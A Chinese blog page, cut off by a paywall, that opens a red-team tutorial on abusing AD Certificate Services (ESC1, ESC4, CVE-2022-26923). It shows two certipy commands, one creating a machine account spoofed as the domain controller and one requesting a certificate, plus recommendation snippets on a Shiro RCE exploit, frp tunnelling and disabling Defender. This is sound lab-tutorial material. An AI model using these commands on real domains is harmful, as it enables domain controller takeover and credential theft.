ADCS ESC1+ESC4+CVE-2022–26923

已于 2023-06-28 10:20:33 修改
阅读量636 收藏
点赞数
分类专栏： 红蓝对抗-攻防安全 文章标签： 服务器 运维
于 2023-06-27 02:44:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_38376348/article/details/131408155
版权
本文详细介绍了如何利用CVE-2022-26923漏洞创建特殊账户并请求证书，进而获取域控权限。通过两种方式，包括证书请求hash和RBCD，展示了如何利用拿到的证书进行权限提升。同时，讨论了ECS1和ESC4漏洞的利用条件、步骤以及相关环境配置，提供了漏洞扫描和利用的命令示例。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

目录

CVE-2022–26923

创建机器账户并指定dnsHostName为dc的域名

 用该机器账户向ADCS请求证书

拿到证书后获取域控权限的2种方式

方式1 使用证书请求hash

 dcsync

方式2  RBCD

bug

 ECS1

漏洞利用方式1

certipy

漏洞利用方式2

certify+Rubeus+mimikatz

ESC4

环境

漏洞利用 ​编辑

其他情况

CVE-2022–26923

创建机器账户并指定dnsHostName为dc的域名

certipy account create -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3  -user win -pass win@123456 -dns 'DC.hacktest.com'

 用该机器账户向ADCS请求证书

certipy req -u 'win$'@hacktest.com -p win@123456 -target 10.211.55.7 -dc-ip

了解本专栏 订阅专栏 解锁全文 超级会员免费看
ADCS攻击系列【ESC1-8】详解
总有人间一两风，填我十万八千梦
09-11 671
ADCS（Active Directory Certificate Services），是微软提供的一套证书服务解决方案，用于实现公钥基础结构（PKI）的功能，包括证书的产生、管理、存储、分发和撤销等。ADCS能够与现有的Active Directory Domain Services（ADDS）服务结合，用于加密文件系统、数字签名以及身份验证等多种安全应用场景。在ADCS中，证书颁发机构（CA）扮演着核心角色，负责接收证书申请、验证申请者信息、颁发证书以及管理证书的吊销等。
深入分析CVE-2022-26923 ADCS权限提升漏洞
谢公子的博客
05-26 3298
目录 漏洞背景和描述 基础知识 ADCS服务搭建&LDAPS配置 PKI公钥基础设施 CA证书颁发机构 PKINIT Kerberos认证 证书模板 用户模板 计算机模板 证书注册 漏洞原理 用户模板 实验一 实验二 实验三 实验四 实验五 实验六 实验七 原理总结 计算机模板 实验一 实验二 实验三 实验四 实验五 原理总结 漏洞复现 定位证书服务器 域内 域外 创建机器用户 请求证书 认证获得域控hash 导出域内任意用户哈希
域渗透笔记-ADCS 域提权-ESC4
NoooEmotion的博客
02-06 1297
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书，这些证书模板是注册策略和预定义证书设置的集合，并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?，以及无数其他设置。证书模板有一组特定的设置，这使得它们非常容易受到攻击。
终于有人把域渗透之ADCS证书攻击讲透了
weixin_65550121的博客
12-09 2546
PKI是一个术语，有些地方会采用中文的表述——公钥基本结构，用来实现证书的产生、管理、存储、分发和撤销等功能。我们可以把他理解成是一套解决方案，这套解决方案里面需要有证书颁发机构，有证书发布，证书撤掉等功能。
域渗透笔记-ADCS 域提权-ESC1
NoooEmotion的博客
02-02 2578
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书，这些证书模板是注册策略和预定义证书设置的集合，并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?，以及无数其他设置。证书模板有一组特定的设置，这使得它们非常容易受到攻击。
ESC1-ECS7 证书模板配置错误
anddddoooo的博客
02-21 625
存在 ESC2 的模板属性存在如下条件：安全选项中给域用户注册权限。证书模板未设置批准程序，以确保注册证书不会被挂起来等待管理员批准。证书模板定义了 “任何目的” 类型的 EKU 或 “无” 类型的 EKU。“任何目的” 类型：此 EKU 指证书可以用于任何目的。“无” 类型：此 EKU 指该证书没有 EKU，相当于从属 CA 的证书。
PetitPotam漏洞复现（ESC8）结合CVE-2019-1040
whojoe的博客
08-02 3754
PetitPotam漏洞复现环境搭建漏洞复现参考文章 环境搭建 主机 机器名 ip 用户 密码 版本 域控1 ad.test.com 192.168.164.147 administrator Aa1234 win2012r2 域控2 ad2.test.com 192.168.164.146 administrator Aa1234 win2012r2 域内机器 user.test.com 192.168.164.129 user1 Uu1234. win2008r2 kali
红队专题-内网横向-工作组Workgroup与 Domain Active Directory域渗透
aming小老弟
12-21 1886
通过使用活动目录，管理员能够中心化、批量地更新和管理操作系统、应用、用户以及对数据的访问，而用户和管理员也能很容易地获取这些信息。而且因为活动目录具备中心化的管理能力，攻击者一旦获得域管理员权限，即可控制域内所有用户和主机，因此活动目录域环境也备受攻击者青睐。实际上LSA保护不能抵御这些攻击，它只会让你在执行这些攻击前，需要做一些额外的操作，让攻击变得更加困难一些。此功能基于PPL技术，它是一种纵深防御的安全功能，旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。
阿里云ECS漏洞修复简单办法
mengxp的博客
11-24 1968
阿里云的安全检测功能会每天检测主机上的漏洞，然后短信推送，让你试用漏洞修复功能，或购买修复功能。 其实不需要购买，在主机上执行 apt upgrade 或者 yum upgrade 就自动修复了。。。 其实就是更新软件包，更新内核，然后重启就可以了。第二天查看检测结果，漏洞清零。。 ...
CVE-2022–26923漏洞分析
阿道夫的博客
01-31 1355
本次漏洞产生的主要原因是计算机账户关键属性的ACL设置问题和ADCS检查客户端身份不严格导致，结合之前的samAccountName欺骗漏洞，AD域中涉及身份认证标识的问题不止一次，微软在AD域中不用具有唯一性的自动编号字段SID而是其他字段作为身份认证标识在安全方面着实欠妥。本次漏洞利用简单，流量特征不明显难以检测，同时获取的AD域证书有效时间长，因此对于AD域的提权和权限维持都有很高的利用价值。一次，微软在AD域中不用具有唯一性的自动编号字段SID而是其他字段作为身份认证标识在安全方面着实欠妥。
ADCS-ESC4漏洞环境构造与利用
最新发布
信息安全
02-25 508
在AD中，证书模板属于安全对象，由安全描述符规定AD主体对其的访问权限。当攻击者获得模板对象的writeProperty权限，就能修改模板的AD对象属性，比如在mspki-certificate-name-flag属性里启用CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志，从而引发与ESC1类似的攻击风险。在证书颁发机构中的证书模板右键点击新建要颁发的证书模板，选择新复制的模板ESC2确定添加。再次回到证书服务器，查看ESC4证书模板，发现使用者名称已经被改为在请求中提供。
ADCS攻击利用
slash_HK的博客
12-23 4923
一万字呕心沥血，全站最详细ADCS攻击利用方法及细节复现，包括服务器配置等，细节满满，支持走一波，也欢迎各位师傅斧正。
无法与域“xxxx.com”的Active Directory域控制器（AD DC）连接 之DNS故障
热门推荐
问题很多的小明
10-12 2万+
域控机DC： win7加入域控报错，发现无法加入域环境，报错内容，“无法与域“xxxx.com”的Active Directory域控制器（AD DC）连接”： 排查问题，发现DNS解析存在问题 但是域控机上解析是没有问题的： 抓包，发现本地DNS请求地址为ipV6，ipV6优先级高于Ipv4 解决问题：修改虚拟机网卡配置 关闭Ipv6 返回虚拟机： 重启网卡： 解析通过： 可以加入域： ...
shiro RCE （反序列化漏洞）
问题很多的小明
06-02 6140
shiro RCE 攻击 这篇讲1.2.4的反序列化漏洞在实战中的记录 1 POC python shiro_check_key.py https://xxx.xxx.xxx.xxx "my0njp.dnslog.cn" DNSlog收到请求（平台地址:http://www.dnslog.cn/） 2 EXP 这里的回显是基于spring框架的，其实可以直接用过监听JMPServer直接执行命令 java -jar ShirobootRce.jar https://xxx.xxx.x
nmap扫描导出xml并查看
问题很多的小明
08-03 5162
1 扫描设置 不挂代理nmap -p- -v -sV -Pn -iL ip.txt -oA output 挂代理如：proxychains则需要加参数-sT 2 修改xml文件查看 修改输出文件 将xml文件拖入 ie查看
使用sublime快速文本去重/去空格/去某字符后内容
问题很多的小明
08-11 5038
使用Oneforall搜集子域名后，有很多重复的域名，这里不用写脚本去重，通过sublime正则快速去重 搜索替换，点击正则部分，正则为： (^.*\n)(?=\1) 统一将重复部分替换为空：
内网渗透之frp隧道搭建
问题很多的小明
05-29 4073
内网渗透之frp搭建隧道 内网穿透工具frp 1 文件下载地址： https://github.com/fatedier/frp/releases 版本和操作系统对应关系 2 搭建socks5代理 配置文件如下： 服务端：./frps -c frps.ini frps.ini [common] bind_addr = 0.0.0.0 #绑定的ip，为本机 bind_port = 17000 #绑定的端口 dashboard_addr = 0.0....
Go编译exe程序指定图标
问题很多的小明
08-31 3964
0x01 下载依赖 go get github.com/akavel/rsrc 下载后在项目工程目录可见： 0x02 制作图标 在线ico图标生成，生成后放到要编译的go的文件同目录下 0x03 生成相关文件编译 创建manifest文件, 命名：xxxx.exe.manifest <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microso
win11 defender关闭以及恢复
问题很多的小明
11-07 3655
在工作的时候需要关闭def下可以参考
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值